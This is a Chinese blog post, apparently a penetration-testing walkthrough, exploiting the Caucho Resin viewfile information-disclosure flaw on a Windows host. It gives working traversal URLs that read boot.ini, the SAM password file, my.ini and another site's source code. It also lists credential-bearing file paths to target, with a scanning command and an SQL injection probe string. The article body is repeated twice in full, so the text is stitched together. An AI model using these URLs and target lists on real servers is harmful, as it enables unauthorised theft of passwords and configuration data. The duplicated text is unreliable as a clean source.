1 前言
記得有次面試,考官問道“你認為對Resin服務器發動攻擊有難度嗎?如果是你,會利用什么攻擊方法呢?” ,很具體的技術細節,還記得回答是,“我認為針對Resin攻擊是很容易的,當然要視具體的安全狀況而定,完全的因人環境而異,如果是我選擇對Resin對進行攻擊,我會根據版本的漏洞列表,進行測試攻擊。”考官一笑而過,估計給雷倒了。Resin提供了最快的Jsp/servets運行平臺。在Java和JavaScrip的支持下,Resin可以為任務靈活選用合適的開發語言,Resin的一種先進的語言XSL(XML stylesheet language)可以使得形式和內容相分離。Resin以其良好的速度正在受到許多商業站點的歡迎。但其安全性卻往往讓人遺忘。
2 漏洞分析
正如老先生所說的,“世上本無路,走的人多也就成了路”,在漏洞面前來理解大概就能這樣說了“世上本無漏洞,挖掘人多也就有了”,細數Resin漏洞如下:
2007-05-16 Caucho Resin多個遠程信息泄露漏洞
2006-05-17 Caucho Resin viewfile遠程文件及路徑泄露漏洞
2004-02-13 Caucho Technology Resin源代碼和目錄列表泄露漏洞
2002-07-26 Caucho Technology Resin Server設備名遠程路徑泄露漏洞
2002-07-01 Caucho Resin WEB服務器程序遠程路徑泄露漏洞
2002-06-28 Caucho Technology Resin服務程序遠程拒絕服務攻擊漏洞
2001-02-26 Caucho Technology Resin 目錄遍歷漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源碼泄漏
從上面可以看出來,多數是文件和目錄泄漏洞,在日常管理和安全設置能更有針對性,防止敏感信息泄露,無論是攻防都應該從以下方面去考慮:
1) 數據庫的敏感信息泄漏
2) 操作系統的敏感信息泄漏
3) 腳本的敏感信息泄漏
4) Resin的敏感信泄漏
所以說,有針對性的研究和總結應用的漏洞,在攻防的角度,都具有很實際的價值。作為一個滲透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在獲取系統信息,一般用telnet或mstsc簡單測試,或者常規掃描器,比如X-Scan、天鏡、榕基。
看來沒有前人種的小黃瓜了,完全是出于對人品的測試。
腳本信息獲取
對WEB服務刺探,常用掃描器有wwwscan、wvs、appscan等,了解主機上的網站架構和網站目錄是很關鍵的一步。對主機的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都沒有返回呀,訪問目錄:
看來系統管理員相當的自信嘍!人品測試繼續,分析一下返回的數據包:
由圖可知:Resin的版本是3.0.21
對主機的另一個網站進行目錄掃描,有點結果了。有個“admin_manage”目錄存在,進入口進行注入行測試,提交“admin’ or ‘’=’”,結果卻暴露其路徑“D:\webtest\admin_manage\include\head.php”。
在PHP配置時,去除錯誤調試,用到的參數是display_errors,這個參數主要是幫助開發者定位和確定程序錯誤,直接修改php.ini文件,設置display_errors=Off。
數據庫信息獲取
針對數據庫的探測,快速的方法有特定端口掃描、手工探測。當然也有常規的針對數據庫的掃描工具不在本文的討論范圍。
端口探測
一般數據庫都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探測
手工探測最多用的大概是通過向網頁提交畸形數據導致數據庫直接暴錯,根據返回的錯誤信息進行確認。另一種方法,就是通知各個數據庫注釋符的不一致來判別。
比如“;”“–”“/*”。
信息綜合分析
通過上次的信息綜合整理可得:
系統:windows 2003
數據庫:mysql
Apache:2.2.6
PHP:5.2.4
主機上其中有使用PHP架設的站點,其路徑是:
D:\webroot\admin_manage\include\head.php
攻擊測試
信息泄漏漏洞
在2007年時候,Resin暴出遠程信息泄露漏洞,其公告如下:
影響版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows實現上存在多個漏洞,遠程攻擊者可能利用此漏洞非授權獲取敏感信息。Resin沒有正確過濾通過URL傳送的輸入,允許遠程攻擊者通過在URL中提供有任意擴展名的DOS設備文件名從系統上的任意COM或LPT設備讀取連續的數據流、通過目錄遍歷攻擊泄露Web應用的WEB-INF目錄中的文件內容,或通過包含有特殊字符的URL泄露到Caucho Resin服務器的完整系統路徑。Resin的某個CGI程序實現上存在輸入驗證漏洞,遠程攻擊者可能利用此漏洞讀取Web主目錄下的任意文件,包括JSP源碼或類文件。viewfile servlet可以無需參數在Web主目錄中瀏覽任意文件。
3.5.1.2 測試過程
通過漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet來對系統文件操作。測試提交URL:
列出了,Web-inf目錄的文件,直接下class文件進行反Java文件。
介紹一個反Javar 的工具“Java Decompiler”,它由C++開發,支持對整個jar,Javar的編譯。如圖:
在編譯后,沒有發現敏感信息,直接用viewfile去讀取目錄下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
讀取目錄下的index.Jsp文件。
按程序的邏輯讀取源文件,居然也沒有發現敏感信息。繼續去讀取系統文件試試。
提交URL,讀取系統文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再來讀取系統文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次對敏感文件進行讀取測試,一般的默認路徑有:
Win:
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火墻規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
依次提交語句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如圖:
終于獲取了些敏感信息了。當然直接讀取另一個網站的源代碼也是可以的。
提交讀取語句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
讀取源代碼成功。本文僅作測試,希望能給大家在滲透時提供些思路。從測試還是可以看到系統管理員對安全設置的忽視。應用程序的補丁是安全防護的第一道門,而許多的系統管理員卻不太愿意安裝,正如安全短板的理論,一個木桶由許多塊木板組成,如果這些木板長短不一,那么這個木桶的最大容量就取決于其中最短的那塊木板了。
記得有次面試,考官問道“你認為對Resin服務器發動攻擊有難度嗎?如果是你,會利用什么攻擊方法呢?” ,很具體的技術細節,還記得回答是,“我認為針對Resin攻擊是很容易的,當然要視具體的安全狀況而定,完全的因人環境而異,如果是我選擇對Resin對進行攻擊,我會根據版本的漏洞列表,進行測試攻擊。”考官一笑而過,估計給雷倒了。Resin提供了最快的Jsp/servets運行平臺。在Java和JavaScrip的支持下,Resin可以為任務靈活選用合適的開發語言,Resin的一種先進的語言XSL(XML stylesheet language)可以使得形式和內容相分離。Resin以其良好的速度正在受到許多商業站點的歡迎。但其安全性卻往往讓人遺忘。
2 漏洞分析
正如老先生所說的,“世上本無路,走的人多也就成了路”,在漏洞面前來理解大概就能這樣說了“世上本無漏洞,挖掘人多也就有了”,細數Resin漏洞如下:
2007-05-16 Caucho Resin多個遠程信息泄露漏洞
2006-05-17 Caucho Resin viewfile遠程文件及路徑泄露漏洞
2004-02-13 Caucho Technology Resin源代碼和目錄列表泄露漏洞
2002-07-26 Caucho Technology Resin Server設備名遠程路徑泄露漏洞
2002-07-01 Caucho Resin WEB服務器程序遠程路徑泄露漏洞
2002-06-28 Caucho Technology Resin服務程序遠程拒絕服務攻擊漏洞
2001-02-26 Caucho Technology Resin 目錄遍歷漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源碼泄漏
從上面可以看出來,多數是文件和目錄泄漏洞,在日常管理和安全設置能更有針對性,防止敏感信息泄露,無論是攻防都應該從以下方面去考慮:
1) 數據庫的敏感信息泄漏
2) 操作系統的敏感信息泄漏
3) 腳本的敏感信息泄漏
4) Resin的敏感信泄漏
所以說,有針對性的研究和總結應用的漏洞,在攻防的角度,都具有很實際的價值。作為一個滲透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在獲取系統信息,一般用telnet或mstsc簡單測試,或者常規掃描器,比如X-Scan、天鏡、榕基。
看來沒有前人種的小黃瓜了,完全是出于對人品的測試。
腳本信息獲取
對WEB服務刺探,常用掃描器有wwwscan、wvs、appscan等,了解主機上的網站架構和網站目錄是很關鍵的一步。對主機的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都沒有返回呀,訪問目錄:
看來系統管理員相當的自信嘍!人品測試繼續,分析一下返回的數據包:
由圖可知:Resin的版本是3.0.21
對主機的另一個網站進行目錄掃描,有點結果了。有個“admin_manage”目錄存在,進入口進行注入行測試,提交“admin’ or ‘’=’”,結果卻暴露其路徑“D:\webtest\admin_manage\include\head.php”。
在PHP配置時,去除錯誤調試,用到的參數是display_errors,這個參數主要是幫助開發者定位和確定程序錯誤,直接修改php.ini文件,設置display_errors=Off。
數據庫信息獲取
針對數據庫的探測,快速的方法有特定端口掃描、手工探測。當然也有常規的針對數據庫的掃描工具不在本文的討論范圍。
端口探測
一般數據庫都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探測
手工探測最多用的大概是通過向網頁提交畸形數據導致數據庫直接暴錯,根據返回的錯誤信息進行確認。另一種方法,就是通知各個數據庫注釋符的不一致來判別。
比如“;”“–”“/*”。
信息綜合分析
通過上次的信息綜合整理可得:
系統:windows 2003
數據庫:mysql
Apache:2.2.6
PHP:5.2.4
主機上其中有使用PHP架設的站點,其路徑是:
D:\webroot\admin_manage\include\head.php
攻擊測試
信息泄漏漏洞
在2007年時候,Resin暴出遠程信息泄露漏洞,其公告如下:
影響版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows實現上存在多個漏洞,遠程攻擊者可能利用此漏洞非授權獲取敏感信息。Resin沒有正確過濾通過URL傳送的輸入,允許遠程攻擊者通過在URL中提供有任意擴展名的DOS設備文件名從系統上的任意COM或LPT設備讀取連續的數據流、通過目錄遍歷攻擊泄露Web應用的WEB-INF目錄中的文件內容,或通過包含有特殊字符的URL泄露到Caucho Resin服務器的完整系統路徑。Resin的某個CGI程序實現上存在輸入驗證漏洞,遠程攻擊者可能利用此漏洞讀取Web主目錄下的任意文件,包括JSP源碼或類文件。viewfile servlet可以無需參數在Web主目錄中瀏覽任意文件。
3.5.1.2 測試過程
通過漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet來對系統文件操作。測試提交URL:
列出了,Web-inf目錄的文件,直接下class文件進行反Java文件。
介紹一個反Javar 的工具“Java Decompiler”,它由C++開發,支持對整個jar,Javar的編譯。如圖:
在編譯后,沒有發現敏感信息,直接用viewfile去讀取目錄下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
讀取目錄下的index.Jsp文件。
按程序的邏輯讀取源文件,居然也沒有發現敏感信息。繼續去讀取系統文件試試。
提交URL,讀取系統文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再來讀取系統文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次對敏感文件進行讀取測試,一般的默認路徑有:
Win:
c:\mysql\data\mysql\user.MYD //存儲了mysql.user表中的數據庫連接密碼
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存儲了虛擬主機網站路徑和密碼
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存儲了WINDOWS系統初次安裝的密碼
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理員密碼存儲于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP相關設置
/etc/sysconfig/iptables //從中得到防火墻規則策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue
/etc/issue.net
依次提交語句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如圖:
終于獲取了些敏感信息了。當然直接讀取另一個網站的源代碼也是可以的。
提交讀取語句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
讀取源代碼成功。本文僅作測試,希望能給大家在滲透時提供些思路。從測試還是可以看到系統管理員對安全設置的忽視。應用程序的補丁是安全防護的第一道門,而許多的系統管理員卻不太愿意安裝,正如安全短板的理論,一個木桶由許多塊木板組成,如果這些木板長短不一,那么這個木桶的最大容量就取決于其中最短的那塊木板了。
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
